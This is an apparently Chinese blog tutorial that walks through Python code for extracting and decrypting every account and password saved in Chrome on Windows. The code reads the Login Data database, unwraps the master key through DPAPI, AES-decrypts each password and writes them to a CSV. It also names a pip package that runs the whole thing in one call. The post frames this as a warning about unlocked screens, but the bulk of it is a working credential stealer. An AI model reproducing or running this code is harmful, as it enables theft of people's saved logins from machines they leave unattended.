Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
python一键升级所有pip package的方法
Jan 16 Python
python Django编写接口并用Jmeter测试的方法
Jul 31 Python
Python实现PyPDF2处理PDF文件的方法示例
Sep 25 Python
python如何将两个txt文件内容合并
Oct 18 Python
Django Form and ModelForm的区别与使用
Dec 06 Python
python使用html2text库实现从HTML转markdown的方法详解
Feb 21 Python
python numpy矩阵信息说明,shape,size,dtype
May 22 Python
Android Q之气泡弹窗的实现示例
Jun 23 Python
在pytorch中动态调整优化器的学习率方式
Jun 24 Python
从python读取sql的实例方法
Jul 21 Python
Python控制鼠标键盘代码实例
Dec 08 Python
Python xlwings插入Excel图片的实现方法
Feb 26 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
基于PHP的cURL快速入门教程 (小偷采集程序)
2011/06/02 PHP
详解php的魔术方法__get()和__set()使用介绍
2012/09/19 PHP
thinkphp的c方法使用示例
2014/02/24 PHP
MyEclipse常用配置图文教程
2014/09/11 PHP
php正则匹配html中带class的div并选取其中内容的方法
2015/01/13 PHP
yii数据库的查询方法
2015/12/28 PHP
详解WordPress中添加和执行动作的函数使用方法
2015/12/29 PHP
PHP进程通信基础之信号
2017/02/19 PHP
PHP利用正则表达式将相对路径转成绝对路径的方法示例
2017/02/28 PHP
IE8 原生JSON支持
2009/04/13 Javascript
js解析xml字符串和xml文档实现原理及代码(针对ie与火狐)
2013/02/02 Javascript
js二维数组定义和初始化的三种方法总结
2014/03/03 Javascript
Jquery实现兼容各大浏览器的Enter回车切换输入焦点的方法
2014/09/01 Javascript
用javascript关闭本窗口技巧小结
2014/09/05 Javascript
js+jquery实现图片裁剪功能
2015/01/02 Javascript
JQuery中$.each 和$(selector).each()的区别详解
2015/03/13 Javascript
JS+CSS实现大气的黑色首页导航菜单效果代码
2015/09/10 Javascript
Bootstrap的基本应用要点浅析
2016/12/19 Javascript
Vue.js -- 过滤器使用总结
2017/02/18 Javascript
React Native使用Modal自定义分享界面的示例代码
2017/10/31 Javascript
详解Vue+axios+Node+express实现文件上传(用户头像上传)
2018/08/10 Javascript
[00:11]战神迅矛
2019/03/06 DOTA
Python操作列表的常用方法分享
2014/02/13 Python
Python使用struct处理二进制的实例详解
2017/09/11 Python
Python使用pylab库实现绘制直方图功能示例
2018/06/01 Python
关于python之字典的嵌套,递归调用方法
2019/01/21 Python
Python操作远程服务器 paramiko模块详细介绍
2019/08/07 Python
pytorch实现从本地加载 .pth 格式模型
2020/02/14 Python
使用Html5 Stream开发实时监控系统
2020/06/02 HTML / CSS
Zipadee-Zip襁褓过渡毯:Sleeping Baby
2018/12/30 全球购物
入党思想汇报
2014/01/05 职场文书
邮政员工辞职信
2014/01/16 职场文书
3.12植树节活动总结2014
2014/03/13 职场文书
见习期个人总结
2015/03/05 职场文书
入党积极分子培养人意见
2015/06/02 职场文书
《风筝》教学反思
2016/02/23 职场文书